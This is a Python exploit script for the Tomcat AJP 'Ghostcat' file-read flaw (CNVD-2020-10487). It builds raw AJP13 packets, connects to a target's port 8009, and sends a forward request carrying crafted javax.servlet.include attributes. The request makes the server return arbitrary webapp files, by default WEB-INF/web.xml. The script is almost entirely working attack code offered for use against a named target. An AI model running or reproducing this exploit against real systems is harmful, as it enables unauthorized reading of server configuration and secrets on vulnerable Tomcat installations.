1 #!/usr/bin/env python
2 # CNVD-2020-10487 Tomcat-Ajp lfi
3 # by ydhcui
4 import struct
5
6
7 # Some references:
8 # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
9 def pack_string(s):
10 if s is None:
11 return struct.pack(">h", -1)
12 l = len(s)
13 return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
14
15
16 def unpack(stream, fmt):
17 size = struct.calcsize(fmt)
18 buf = stream.read(size)
19 return struct.unpack(fmt, buf)
20
21
22 def unpack_string(stream):
23 size, = unpack(stream, ">h")
24 if size == -1: # null string
25 return None
26 res, = unpack(stream, "%ds" % size)
27 stream.read(1) # \0
28 return res
29
30
31 class NotFoundException(Exception):
32 pass
33
34
35 class AjpBodyRequest(object):
36 # server == web server, container == servlet
37 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
38 MAX_REQUEST_LENGTH = 8186
39
40 def __init__(self, data_stream, data_len, data_direction=None):
41 self.data_stream = data_stream
42 self.data_len = data_len
43 self.data_direction = data_direction
44
45 def serialize(self):
46 data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
47 if len(data) == 0:
48 return struct.pack(">bbH", 0x12, 0x34, 0x00)
49 else:
50 res = struct.pack(">H", len(data))
51 res += data
52 if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
53 header = struct.pack(">bbH", 0x12, 0x34, len(res))
54 else:
55 header = struct.pack(">bbH", 0x41, 0x42, len(res))
56 return header + res
57
58 def send_and_receive(self, socket, stream):
59 while True:
60 data = self.serialize()
61 socket.send(data)
62 r = AjpResponse.receive(stream)
63 while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
64 r = AjpResponse.receive(stream)
65
66 if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
67 break
68
69
70 class AjpForwardRequest(object):
71 _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
72 28)
73 REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
74 'TRACE': TRACE}
75 # server == web server, container == servlet
76 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
77 COMMON_HEADERS = ["SC_REQ_ACCEPT",
78 "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
79 "SC_REQ_AUTHORIZATION",
80 "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
81 "SC_REQ_COOKIE2",
82 "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
83 ]
84 ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
85 "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
86
87 def __init__(self, data_direction=None):
88 self.prefix_code = 0x02
89 self.method = None
90 self.protocol = None
91 self.req_uri = None
92 self.remote_addr = None
93 self.remote_host = None
94 self.server_name = None
95 self.server_port = None
96 self.is_ssl = None
97 self.num_headers = None
98 self.request_headers = None
99 self.attributes = None
100 self.data_direction = data_direction
101
102 def pack_headers(self):
103 self.num_headers = len(self.request_headers)
104 res = ""
105 res = struct.pack(">h", self.num_headers)
106 for h_name in self.request_headers:
107 if h_name.startswith("SC_REQ"):
108 code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
109 res += struct.pack("BB", 0xA0, code)
110 else:
111 res += pack_string(h_name)
112
113 res += pack_string(self.request_headers[h_name])
114 return res
115
116 def pack_attributes(self):
117 res = b""
118 for attr in self.attributes:
119 a_name = attr['name']
120 code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
121 res += struct.pack("b", code)
122 if a_name == "req_attribute":
123 aa_name, a_value = attr['value']
124 res += pack_string(aa_name)
125 res += pack_string(a_value)
126 else:
127 res += pack_string(attr['value'])
128 res += struct.pack("B", 0xFF)
129 return res
130
131 def serialize(self):
132 res = ""
133 res = struct.pack("bb", self.prefix_code, self.method)
134 res += pack_string(self.protocol)
135 res += pack_string(self.req_uri)
136 res += pack_string(self.remote_addr)
137 res += pack_string(self.remote_host)
138 res += pack_string(self.server_name)
139 res += struct.pack(">h", self.server_port)
140 res += struct.pack("?", self.is_ssl)
141 res += self.pack_headers()
142 res += self.pack_attributes()
143 if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
144 header = struct.pack(">bbh", 0x12, 0x34, len(res))
145 else:
146 header = struct.pack(">bbh", 0x41, 0x42, len(res))
147 return header + res
148
149 def parse(self, raw_packet):
150 stream = StringIO(raw_packet)
151 self.magic1, self.magic2, data_len = unpack(stream, "bbH")
152 self.prefix_code, self.method = unpack(stream, "bb")
153 self.protocol = unpack_string(stream)
154 self.req_uri = unpack_string(stream)
155 self.remote_addr = unpack_string(stream)
156 self.remote_host = unpack_string(stream)
157 self.server_name = unpack_string(stream)
158 self.server_port = unpack(stream, ">h")
159 self.is_ssl = unpack(stream, "?")
160 self.num_headers, = unpack(stream, ">H")
161 self.request_headers = {}
162 for i in range(self.num_headers):
163 code, = unpack(stream, ">H")
164 if code > 0xA000:
165 h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
166 else:
167 h_name = unpack(stream, "%ds" % code)
168 stream.read(1) # \0
169 h_value = unpack_string(stream)
170 self.request_headers[h_name] = h_value
171
172 def send_and_receive(self, socket, stream, save_cookies=False):
173 res = []
174 i = socket.sendall(self.serialize())
175 if self.method == AjpForwardRequest.POST:
176 return res
177
178 r = AjpResponse.receive(stream)
179 assert r.prefix_code == AjpResponse.SEND_HEADERS
180 res.append(r)
181 if save_cookies and 'Set-Cookie' in r.response_headers:
182 self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
183
184 # read body chunks and end response packets
185 while True:
186 r = AjpResponse.receive(stream)
187 res.append(r)
188 if r.prefix_code == AjpResponse.END_RESPONSE:
189 break
190 elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
191 continue
192 else:
193 raise NotImplementedError
194 break
195
196 return res
197
198
199 class AjpResponse(object):
200 _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
201 COMMON_SEND_HEADERS = [
202 "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
203 "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
204 ]
205
206 def parse(self, stream):
207 # read headers
208 self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
209
210 if self.prefix_code == AjpResponse.SEND_HEADERS:
211 self.parse_send_headers(stream)
212 elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
213 self.parse_send_body_chunk(stream)
214 elif self.prefix_code == AjpResponse.END_RESPONSE:
215 self.parse_end_response(stream)
216 elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
217 self.parse_get_body_chunk(stream)
218 else:
219 raise NotImplementedError
220
221 def parse_send_headers(self, stream):
222 self.http_status_code, = unpack(stream, ">H")
223 self.http_status_msg = unpack_string(stream)
224 self.num_headers, = unpack(stream, ">H")
225 self.response_headers = {}
226 for i in range(self.num_headers):
227 code, = unpack(stream, ">H")
228 if code <= 0xA000: # custom header
229 h_name, = unpack(stream, "%ds" % code)
230 stream.read(1) # \0
231 h_value = unpack_string(stream)
232 else:
233 h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
234 h_value = unpack_string(stream)
235 self.response_headers[h_name] = h_value
236
237 def parse_send_body_chunk(self, stream):
238 self.data_length, = unpack(stream, ">H")
239 self.data = stream.read(self.data_length + 1)
240
241 def parse_end_response(self, stream):
242 self.reuse, = unpack(stream, "b")
243
244 def parse_get_body_chunk(self, stream):
245 rlen, = unpack(stream, ">H")
246 return rlen
247
248 @staticmethod
249 def receive(stream):
250 r = AjpResponse()
251 r.parse(stream)
252 return r
253
254
255 import socket
256
257
258 def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
259 fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
260 fr.method = method
261 fr.protocol = "HTTP/1.1"
262 fr.req_uri = req_uri
263 fr.remote_addr = target_host
264 fr.remote_host = None
265 fr.server_name = target_host
266 fr.server_port = 80
267 fr.request_headers = {
268 'SC_REQ_ACCEPT': 'text/html',
269 'SC_REQ_CONNECTION': 'keep-alive',
270 'SC_REQ_CONTENT_LENGTH': '0',
271 'SC_REQ_HOST': target_host,
272 'SC_REQ_USER_AGENT': 'Mozilla',
273 'Accept-Encoding': 'gzip, deflate, sdch',
274 'Accept-Language': 'en-US,en;q=0.5',
275 'Upgrade-Insecure-Requests': '1',
276 'Cache-Control': 'max-age=0'
277 }
278 fr.is_ssl = False
279 fr.attributes = []
280 return fr
281
282
283 class Tomcat(object):
284 def __init__(self, target_host, target_port):
285 self.target_host = target_host
286 self.target_port = target_port
287
288 self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
289 self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
290 self.socket.connect((target_host, target_port))
291 self.stream = self.socket.makefile("rb", bufsize=0)
292
293 def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
294 self.req_uri = req_uri
295 self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
296 method=AjpForwardRequest.REQUEST_METHODS.get(method))
297 print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
298 if user is not None and password is not None:
299 self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
300 "%s:%s" % (user, password)).encode('base64').replace('\n', '')
301 for h in headers:
302 self.forward_request.request_headers[h] = headers[h]
303 for a in attributes:
304 self.forward_request.attributes.append(a)
305 responses = self.forward_request.send_and_receive(self.socket, self.stream)
306 if len(responses) == 0:
307 return None, None
308 snd_hdrs_res = responses[0]
309 data_res = responses[1:-1]
310 if len(data_res) == 0:
311 print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
312 return snd_hdrs_res, data_res
313
314
315 '''
316 javax.servlet.include.request_uri
317 javax.servlet.include.path_info
318 javax.servlet.include.servlet_path
319 '''
320
321 import argparse
322
323 parser = argparse.ArgumentParser()
324 parser.add_argument("target", type=str, help="Hostname or IP to attack")
325 parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
326 parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
327 args = parser.parse_args()
328 t = Tomcat(args.target, args.port)
329 _, data = t.perform_request('/asdf.jspx', attributes=[
330 {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
331 {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
332 {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
333 ])
334 print('----------------------------')
335 print("".join([d.data for d in data]))